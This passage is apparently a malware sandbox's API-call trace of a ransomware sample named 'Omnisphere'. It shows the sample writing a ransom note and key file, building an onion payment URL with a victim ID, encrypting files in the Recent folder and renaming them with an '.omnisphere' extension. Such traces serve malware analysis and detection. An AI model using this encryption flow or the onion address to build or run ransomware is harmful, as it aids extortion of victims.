[0126.246] CloseHandle (hObject=0x3c0) returned 1 [0126.246] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.246] CloseHandle (hObject=0x288) returned 1 [0126.246] SetEndOfFile (hFile=0x28c) returned 1 [0126.246] FlushFileBuffers (hFile=0x28c) returned 1 [0126.249] CloseHandle (hObject=0x28c) returned 1 [0126.249] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.249] GetProcessHeap () returned 0x1600000 [0126.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.249] GetProcessHeap () returned 0x1600000 [0126.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1ff0 [0126.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1ff0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.249] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.249] GetProcessHeap () returned 0x1600000 [0126.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0188 [0126.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0188, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.249] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.249] GetProcessHeap () returned 0x1600000 [0126.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf3b8 [0126.249] PathCombineW (in: pszDest=0x16bf3b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.249] GetProcessHeap () returned 0x1600000 [0126.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c32e8 [0126.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.250] WriteFile (in: hFile=0x28c, lpBuffer=0x16c32e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c32e8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.250] CloseHandle (hObject=0x28c) returned 1 [0126.250] GetProcessHeap () returned 0x1600000 [0126.250] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.250] GetProcessHeap () returned 0x1600000 [0126.250] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.250] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.250] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.250] CloseHandle (hObject=0x28c) returned 1 [0126.250] GetProcessHeap () returned 0x1600000 [0126.251] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.251] GetProcessHeap () returned 0x1600000 [0126.251] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656778 | out: hHeap=0x1600000) returned 1 [0126.251] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x215899bb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x215899bb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x215899bb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Jetw (2).lnk", cAlternateFileName="JETW(2~1.LNK")) returned 1 [0126.251] GetProcessHeap () returned 0x1600000 [0126.251] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656a18 [0126.251] PathCombineW (in: pszDest=0x1656a18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Jetw (2).lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk" [0126.251] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.251] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=834) returned 1 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.251] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] GetTickCount () returned 0x115f828 [0126.252] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0126.252] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.253] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.253] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.253] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0126.253] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x342, lpName=0x0) returned 0x288 [0126.253] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x342) returned 0x1480000 [0126.253] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16691a8) returned 1 [0126.253] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.253] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.254] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.255] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.256] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.256] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.256] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.256] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0126.256] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x342, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.256] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.256] GetProcessHeap () returned 0x1600000 [0126.256] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16c95d0 [0126.256] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw (2).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw (2).lnk.omnisphere")) returned 1 [0126.257] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk.omnisphere.id" [0126.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw (2).lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.258] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.258] CloseHandle (hObject=0x3c0) returned 1 [0126.259] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.259] CloseHandle (hObject=0x288) returned 1 [0126.259] SetEndOfFile (hFile=0x28c) returned 1 [0126.259] FlushFileBuffers (hFile=0x28c) returned 1 [0126.261] CloseHandle (hObject=0x28c) returned 1 [0126.262] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw (2).lnk" | out: 